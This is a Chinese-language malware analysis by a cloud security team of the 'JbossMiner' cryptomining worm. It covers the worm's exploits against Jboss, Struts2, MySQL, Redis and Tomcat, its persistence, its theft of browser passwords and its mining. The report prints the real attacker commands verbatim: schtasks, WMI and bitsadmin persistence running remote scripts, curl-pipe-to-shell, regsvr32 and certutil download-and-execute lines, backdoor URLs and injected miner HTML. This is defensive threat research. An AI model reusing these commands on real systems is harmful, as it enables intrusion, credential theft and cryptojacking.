自2017年11月以來,阿里云安全監(jiān)控中心成功捕獲到一系列的同源挖礦事件,被感染的主機(jī)中發(fā)現(xiàn)了名為F-Scrack-Jexboss的惡意文件,用于執(zhí)行挖礦任務(wù),并對(duì)外掃描擴(kuò)散。本次受害主機(jī)以Jboss服務(wù)為主,我們將其命名為“JbossMiner”。
通過監(jiān)控JbossMiner相關(guān)情報(bào),阿里云安全團(tuán)隊(duì)發(fā)現(xiàn),JbossMiner挖礦蠕蟲在18年初爆發(fā)式增長,隨后增速迅猛,近期稍有回落。
本文將以“JbossMiner”的核心代碼為基礎(chǔ),分別從掃描、入侵、利用、挖礦等功能進(jìn)行展開,完整分析并還原整個(gè)過程。希望研究者和非安全專業(yè)領(lǐng)域的讀者們,能從全局角度看到挖礦木馬如何瞄準(zhǔn)“宿主”,擴(kuò)張木馬僵尸網(wǎng)絡(luò),并可持續(xù)利用。為企業(yè)和機(jī)構(gòu)的入侵檢測和挖礦防范,提供新的視角。
注:JbossMiner中用到的漏洞,阿里云上已默認(rèn)可攔截,并且,安騎士已可以檢測JbossMiner中的惡意程序,和執(zhí)行的惡意命令。建議及時(shí)關(guān)注威脅提示,如有異常事件可盡快處理。
解構(gòu)JbossMiner:核心代碼分析
阿里云安全團(tuán)隊(duì)在蜜罐中捕獲到該二進(jìn)制樣本,該樣本由py2exe打包,解包反編譯后是一套由Python編寫的完整攻擊程序,包含源碼及依賴類庫等數(shù)十個(gè)文件,核心功能代碼文件列表如下圖所示:
其核心功能分為四大部分,分別為:掃描、入侵、惡意代碼植入、挖礦。通過這幾部分的分工協(xié)作,完成整個(gè)入侵——植入——持續(xù)擴(kuò)張流程。相關(guān)邏輯由Python和Shell腳本實(shí)現(xiàn)。
下圖為“JbossMiner”完整的傳播及利用路徑:
下面,本文將對(duì)上述四大功能部分進(jìn)行詳細(xì)分析。
JbossMiner的掃描過程
u.swb.one會(huì)在每次請(qǐng)求時(shí)生成一段目標(biāo)地址,如下所示:
199.123.16.0/21 103.30.248.0/22 58.10.0.0/15 94.76.64.0/18
隨后JbossMiner對(duì)目標(biāo)IP進(jìn)行ICMP探活,隨后對(duì)存活主機(jī)的指定端口進(jìn)行掃描,并根據(jù)端口對(duì)應(yīng)的服務(wù)啟動(dòng)攻擊模塊。
JbossMiner的入侵模塊分析
JbossMiner蠕蟲客戶端內(nèi)置的入侵模塊有以下幾種。
Jboss是一款開源的企業(yè)級(jí)Java中間件,用于實(shí)現(xiàn)基于SOA架構(gòu)的web應(yīng)用和服務(wù)。2015年,安全研究人員披露Java反序列化漏洞利用方案,Jboss首當(dāng)其沖,直至今日仍有相當(dāng)數(shù)量存在漏洞的服務(wù)器暴露在公網(wǎng)。JbossMiner復(fù)用了開源自動(dòng)化入侵工具Jexboss,該工具由Python編寫,支持多種Jboss命令執(zhí)行漏洞的檢測和利用。
Struts2是當(dāng)下流行的Java網(wǎng)絡(luò)應(yīng)用框架,針對(duì)該框架的命令執(zhí)行漏洞層出不窮。據(jù)阿里云態(tài)勢感知觀測,目前Struts框架漏洞仍為黑色產(chǎn)炙手可熱的入侵手段。JbossMiner內(nèi)部集成了從S2-005到S2-053的全部漏洞利用代碼,入侵成功后通過系統(tǒng)命令控制目標(biāo)服務(wù)器遠(yuǎn)程拉取文件進(jìn)行挖礦和持久化。
永恒之藍(lán)(EternalBlue)是美國國家安全局開發(fā)的漏洞利用程序,于2017年4月14日被黑客組織公開,并催生了以WannaCry為首的諸多蠕蟲變種。目前很多機(jī)器已經(jīng)修復(fù)該漏洞,暴露在公網(wǎng)的影響面有限,但仍不失為一種內(nèi)網(wǎng)傳播的有效手段。
MySQL服務(wù)的攻擊面主要集中在SQL注入、弱口令及未授權(quán)訪問。JbossMiner中的MySQL利用模塊對(duì)系統(tǒng)及MySQL版本進(jìn)行了簡單適配,通過以下兩種方式穿透到主機(jī)。
UDF以16進(jìn)制的方式存在于Python代碼中,對(duì)Windows、Linux進(jìn)行適配。
落盤文件IOC
文件名
lib_mysqludf32_sys.dll
lib_mysqludf64_sys.dll
lib_mysqludf32_sys.so
lib_mysqludf64_sys.so
該木馬攜帶的lib_mysqludf32/64動(dòng)態(tài)鏈接庫,其核心功能就是為了執(zhí)行MySQL命令,以便運(yùn)行惡意腳本,該木馬作者將執(zhí)行命令的代碼放在了sys_bineval函數(shù)中,其中線程函數(shù)StartAddress負(fù)責(zé)執(zhí)行用戶傳入的參數(shù)。
代碼截圖如下(Linux版本的代碼類似):
通過開啟查詢?nèi)罩荆⒃O(shè)定日志文件路徑在crontab目錄下,可以向定時(shí)任務(wù)寫入惡意代碼,除此之外MySQL中還有其他類似的日志配置文件可被利用。
Redis服務(wù)的攻擊面以未授權(quán)訪問和弱口令為主,利用該服務(wù)穿透到主機(jī)進(jìn)行后續(xù)滲透的方法五花八門,如利用數(shù)據(jù)導(dǎo)出功能將惡意代碼寫入系統(tǒng)的指定位置(如web后門、計(jì)劃任務(wù)、SSH密鑰等)。
JbossMiner首先探測目標(biāo)Redis服務(wù)是否存在未授權(quán)登錄,隨即使用內(nèi)置字典爆破密碼,并將成功后的信息回傳到黑客控制的回顯平臺(tái)。
其中make_crontab函數(shù)通過寫crontab的方式穿透到系統(tǒng),接入后續(xù)挖礦代碼。
JbossMiner針對(duì)Tomcat/Axis服務(wù)的入侵方式為WEB層弱口令爆破。
成功登入后,通過Tomcat上傳功能部署后門,war包代碼以hex格式存于Python代碼中。
隨后通過HTTP請(qǐng)求連接后門,依次下發(fā)后續(xù)利用的命令。
對(duì)Axis服務(wù)的利用方式與之相同,不再贅述。
部署的后門地址IOC如下:
服務(wù) | 后門地址 |
---|---|
Axis | http://%s/axis2/services/Cat/exec?cmd= |
Tomcat | http://%s/is/cmd.jsp?pwd=futuresec&&cmd= |
JbossMiner的后續(xù)利用方式
JbossMiner在成功攻破的服務(wù)器中執(zhí)行系統(tǒng)命令以完成后滲透利用,具體指令如下:
'SchTasks.exe /Create /SC MINUTE /TN Update2 /TR "c:/windows/system32/mshta.exe http://enjoytopic.esy.es/ps3.txt" /MO 5 /F', 'wmic process call create "c:/windows/system32/mshta.exe http://enjoytopic.esy.es/ps3.txt"', 'curl -sL https://lnk0.com/VhscA1 | sh', 'wmic /NAMESPACE:"\\root\\subscription" PATH __EventFilter CREATE Name=888, EventNameSpace="root\\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA "Win32_PerfFormattedData_PerfOS_System" AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320"', 'wmic /NAMESPACE:"\\root\\subscription" PATH CommandLineEventConsumer CREATE Name=999, CommandLineTemplate="mshta http://enjoytopic.esy.es/ps3.txt"', 'wmic /NAMESPACE:"\\root\\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=888", Consumer="CommandLineEventConsumer.Name=999"', 'wmic /NAMESPACE:"\\root\\subscription" PATH __EventFilter CREATE Name=888, EventNameSpace="root\\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA "Win32_PerfFormattedData_PerfOS_System" AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320"', 'bitsadmin /create updateer3', 'bitsadmin /addfile updateer3 %SYSTEMROOT%\\System32\\mshta.exe %temp%\\mshta.exe', 'bitsadmin /SetNotifyCmdLine updateer3 mshta.exe "http://enjoytopic.esy.es/ps3.txt"', 'bitsadmin /Resume updateer3'
使用 SchTasks.exe、wmic、bitsadmin來實(shí)現(xiàn)在Windows平臺(tái)的自啟動(dòng),除此之外,并針對(duì)Windows和Linux執(zhí)行不同的腳本,后續(xù)所有的惡意行為都由這兩個(gè)腳本來完成,主要實(shí)現(xiàn)持久化、蠕蟲傳播、挖礦、竊取瀏覽器敏感信息等。
文章后面部分內(nèi)容,將針對(duì)這兩部分詳細(xì)分析。
針對(duì)Windows系統(tǒng)的利用程序(vbs腳本)
http://enjoytopic.esy.es/ps3.txt
Linux系統(tǒng)的利用程序(Shell腳本)
https://lnk0.com/VhscA1
Windows Payload
針對(duì)Windows系統(tǒng),JbossMiner在攻擊成功后將使用mshta命令執(zhí)行名為ps3.txt的vbs腳本,ps3.txt中的shellcode執(zhí)行流程簡圖如下:
ps3.txt文件的部分內(nèi)容截圖如下:
解密后的vbs中嵌入了一段powershell命令,解密后,var_code即為最終要執(zhí)行的代碼(base64編碼)如下:
var_code是為一段shellcode,shellcode內(nèi)自己實(shí)現(xiàn)LoadLibrary和GetProcAddress邏輯,動(dòng)態(tài)加載wininet.dll,獲取wininet.HttpOpenRequestA等相關(guān)API來實(shí)現(xiàn)http的訪問。
它會(huì)請(qǐng)求d1uga3uzpppiit.cloudfront.net/dCrC文件,該文件是一個(gè)加密后的DLL,MZ頭經(jīng)過精心構(gòu)造,可直接當(dāng)作代碼執(zhí)行。解密后的dll中包含導(dǎo)出函數(shù)ReflectiveLoader,負(fù)責(zé)reload自身并執(zhí)行。從結(jié)構(gòu)上來看,這部分payload由Metasploit生成,與上文中提到的Mettle類似。
該dCrC文件主要作用就是接受服務(wù)器下發(fā)的powershell命令并運(yùn)行,其核心代碼截圖如下:
在dCrC文件與swb.one服務(wù)器交互,接收其powershell命令并執(zhí)行,完成自啟動(dòng)和下發(fā)其他惡意程序(挖礦、蠕蟲、竊密)。
powershell命令經(jīng)過解密后如下:
New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater -PropertyType String -Value mshta http://xmr.enjoytopic.tk/d/ps3.txt New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater2 -PropertyType String -Value regsvr32 /s /n /u /i:http://xmr.enjoytopic.tk/d/regxmr3.sct scrobj.dll New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater3 -PropertyType String -Value regsvr32 /s /n /u /i:http://xmr.enjoytopic.tk/d/regxmr222.sct scrobj.dll $Filter=Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{name='Updater111';EventNameSpace='root\CimV2';QueryLanguage="WQL";Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = 13 AND TargetInstance.Minute = 00 GROUP WITHIN 60"};$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name='Updater111';ExecutablePath='%SYSTEMROOT%\System32\regsvr32.exe';CommandLineTemplate ='/s /n /u /i:http://xmr.enjoytopic.tk/d/regxmr222.sct scrobj.dll'};Set-WmiInstance -Namespace "root\subscription" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer}; $Filter=Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{name='Updater222';EventNameSpace='root\CimV2';QueryLanguage="WQL";Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320"};$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name='Updater222';ExecutablePath='%SYSTEMROOT%\System32\regsvr32.exe';CommandLineTemplate ='/s /n /u /i:http://xmr.enjoytopic.tk/d/regxmr222.sct scrobj.dll'};Set-WmiInstance -Namespace "root\subscription" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer};
除了上述的下發(fā)powershell命令外,還下發(fā)了兩條下載命令:
C:\Windows\system32\cmd.exe /C certutil -urlcache -split -f http://emsisoft.enjoytopic.tk/tg3.txt %temp%\svthost.exe &&wmic process call create %temp%\svthost.exe C:\Windows\system32\cmd.exe /C certutil -urlcache -split -f http://emsisoft.enjoytopic.tk/fix.txt %temp%\svshost.exe &&wmic process call create %temp%\svshost.exe
分別下載svthost.exe的后門程序和svshost.exe橫向滲透傳播程序,其中svshost.exe橫向滲透傳播程序也是由python腳本打包而成的exe程序,于運(yùn)行時(shí)釋放運(yùn)行所需文件,其文件列表截圖如下:
下面再來看看這個(gè)svthost.exe的后門程序是如何盜取瀏覽器用戶名和密碼信息的 — 我們在測試環(huán)境下作了驗(yàn)證。
后門程序不僅盜取Chrome瀏覽器中存儲(chǔ)的賬號(hào)和密碼,還盜取Firefox瀏覽器中存儲(chǔ)的賬號(hào)和密碼。其上傳盜取數(shù)據(jù)的接口是:https://u.swb.one/upload/win,相關(guān)代碼截圖如下:
Chrome瀏覽器將訪問網(wǎng)站的相關(guān)用戶名和密碼,加密保存在一個(gè)SQLite數(shù)據(jù)庫中,路徑為:%APPDATA%\..\Local \Google\Chrome\User Data\Default\Login Data”。svthost.exe后門程序首先遍歷進(jìn)程檢查被攻擊者的電腦是否運(yùn)行了Chrome瀏覽器(chrome.exe),之后再去獲取Chrome瀏覽器賬號(hào)和密碼保存的數(shù)據(jù)庫文件,解密后上傳到黑客的外部服務(wù)器。
檢查Chrome瀏覽器保存密碼的數(shù)據(jù)庫路徑:
其中sub_417C10函數(shù)拿到解密后的賬號(hào)和密碼,發(fā)送到外部服務(wù)器。
同樣,svthost.exe后門程序也是先確認(rèn)該用戶是否安裝了Firefox瀏覽器,然后利用NSS的開源庫,對(duì)沒有設(shè)置瀏覽器設(shè)定主密碼的攻擊對(duì)象(一般會(huì)默認(rèn)為空)進(jìn)行破解,提取全局hash,獲得它與空密碼做hash后的運(yùn)算結(jié)果,然后使用該結(jié)果破譯SDR密鑰,再用破譯的SDR密鑰危害證書,最后拿到Firefox瀏覽器中保存的賬號(hào)和密碼。
檢測是否安裝了Firefox瀏覽器代碼片段:
加載NSS開源庫的nss.dll,然后利用其提供函數(shù)進(jìn)行運(yùn)算:
最后拿到被攻擊者的網(wǎng)站,以及其對(duì)應(yīng)的用戶名和密碼,并上傳到服務(wù)器,其代碼片段如下:
Linux Payload
針對(duì)Linux系統(tǒng),JbossMiner在攻擊成功后將命令寫入crontab來實(shí)現(xiàn)后續(xù)利用,宿主機(jī)將定期下載指定shell腳本執(zhí)行。
對(duì)該shell進(jìn)行進(jìn)一步分析,首先從遠(yuǎn)端拉取名為hawk的文件并執(zhí)行。
該文件實(shí)為MetaSploit中的Mettle組件,根據(jù)預(yù)設(shè)的DNS(cs.swb.one)查找控制端反彈shell,其中swb.one域名下多次發(fā)現(xiàn)黑客資產(chǎn),分別用于文件服務(wù)、接收爆破成功后回傳的信息、接收反彈shell。
JbossMiner挖礦過程
JbossMiner針對(duì)Windows和Linux系統(tǒng)分別做了兩套挖礦程序,實(shí)現(xiàn)跨平臺(tái)挖礦。兩套挖礦程序在不同平臺(tái)下的運(yùn)轉(zhuǎn)詳情分析如下。
Windows平臺(tái)的挖礦部分
在Windows系統(tǒng)上,JbossMiner蠕蟲執(zhí)行regsvr32 /s /n /u /i:http://xmr.enjoytopic.tk/d/regxmr3.sct scrobj.dll等命令,在vbs腳本中實(shí)現(xiàn)下載挖礦程序并執(zhí)行,相關(guān)代碼如下:
這里借助MSXML2.XMLHTTP和WScript.Shell對(duì)象,將http://enjoytopic.esy.es/rigd32.txt挖礦程序下載到系統(tǒng)的臨時(shí)目錄,配置礦池和錢包參數(shù),啟動(dòng)挖礦程序進(jìn)行挖礦謀利。
Linux平臺(tái)的挖礦部分
JbossMiner蠕蟲在linux平臺(tái)上啟動(dòng)的sh腳本具體內(nèi)容如下,它判斷用戶是否為root,若是則執(zhí)行l(wèi)owerv2.sh,若否則再次嘗試寫root用戶的crontab,同時(shí)執(zhí)行rootv2.sh,這兩個(gè)shell腳本實(shí)現(xiàn)了挖礦邏輯。
以低權(quán)限挖礦腳本(lowerv2.sh)為例,腳本從遠(yuǎn)端下載礦機(jī)的配置文件(config.json)和挖礦程序(bashd)進(jìn)行挖礦,同時(shí)復(fù)用上述反彈shell的部分代碼。其內(nèi)置了三組配置文件和挖礦程序,依次作為候補(bǔ)方案。
執(zhí)行次序 | 挖礦程序 | 配置文件 |
---|---|---|
1 | lienjoy.esy.es/bashd | lienjoy.esy.es/config.json |
2 | lienjoy.esy.es/bashe | lienjoy.esy.es/config.txt |
3 | lienjoy.esy.es/bashf | lienjoy.esy.es/bashf.cfg |
高權(quán)限挖礦腳本(rootv2.sh)挖礦邏輯與lowerv2相同,只是刪除了寫root用戶的定時(shí)任務(wù)相關(guān)代碼。
配置文件主要用于云控配置礦池地址和錢包地址,大部分類似。以config.json為例,其詳細(xì)內(nèi)容如下:
主頁篡改-JS挖礦
基于阿里云態(tài)勢感知,我們同期監(jiān)控到多起Webshell通信事件與主頁掛馬事件。經(jīng)分析發(fā)現(xiàn),與JbossMiner為同一團(tuán)隊(duì)所為。與本次行動(dòng)相關(guān)的Webshell,覆蓋多種腳本語言的不同系統(tǒng),其中部分存在明顯的手工操作痕跡。
黑客通過Webshell向主機(jī)下發(fā)挖礦程序,同時(shí)在目標(biāo)CMS主頁插入前端挖礦代碼,利用訪問者的算力進(jìn)行挖礦。
部分通過webshell執(zhí)行的命令:
C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://d3oxpv9ajpsgxt.cloudfront.net/rigd64.exe',$env:TEMP+'/explorer.exe');start-process -WindowStyle Hidden $env:TEMP/explorer.exe -ArgumentList '-o pool.monero.hashvault.pro:80 -u 45JymPWP1DeQxxMZNJv9w2bTQ2WJDAmw18wUSryDQa3RPrympJPoUSVcFEDv3bhiMJGWaCD4a3KrFCorJHCMqXJUKApSKDV -p iZ23jdqrusfZ --donate-level=1 --max-cpu-usage=90 -k -B' C:\\Windows\\TEMP\\explorer.exe\" -o pool.monero.hashvault.pro:80 -u 45JymPWP1DeQxxMZNJv9w2bTQ2WJDAmw18wUSryDQa3RPrympJPoUSVcFEDv3bhiMJGWaCD4a3KrFCorJHCMqXJUKApSKDV -p iZ23jdqrusfZ --donate-level=1 --max-cpu-usage=90 -k -B reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ /v Updater2 /t REG_SZ /d C:\\Users\\Public\\Updater2.vbs /f cmd.exe /c cmd /c \"cd /d D:\\phpStudy\\WWW\\&certutil -urlcache -split -f http://121.126.223.211/tg.exe c:\\a.exe && wmic process call create c:\\a.exe&echo [S]&cd&echo [E]\" 2>&1 C:\\Windows\\system32\\cmd.exe /C certutil -urlcache -split -f http://enjoytopic.esy.es/tg3.txt svthost.exe && svthost.exe
主頁插入代碼:
<IfRAME height=0 width=0 sRc ="http://d3lvemwrafj7a7.cloudfront.net/c"></IFrAME> <script>var commandModuleStr = '<script src="https://d1ebv77j9rbkp6.enjoytopic.com/hook.js" type="text/javascript"><\/script>';document.write(commandModuleStr);</script>
其中iframe標(biāo)簽攜帶挖礦代碼,礦池地址為pool.blockbitcoin.com,代碼復(fù)用自開源礦池CryptoNoter。
結(jié)語
通過對(duì)JbossMiner的整體分析,我們發(fā)現(xiàn),由于網(wǎng)上現(xiàn)成攻擊代碼的泛濫,和惡意文件對(duì)PE、ELF等可執(zhí)行文件的依賴性減弱,使攻擊者的技術(shù)門檻進(jìn)一步降低。
例如,在JbossMiner中,由于借助wmi實(shí)現(xiàn)自啟動(dòng),使用regsvr32.exe等下載惡意腳本執(zhí)行,加之功能主要由vbs腳本實(shí)現(xiàn),最后又借用了metasploit等成熟的攻擊套件。這一系列的“基礎(chǔ)”,使得攻擊者不需要專業(yè)的編碼能力,即可完成攻擊。
從勒索軟件、到挖礦木馬,如何提升自身的防御水平,而不是簡單的拉長防線,是業(yè)界和企業(yè),需要警惕和思考的問題。
原文:https://xianzhi.aliyun.com/forum/topic/2189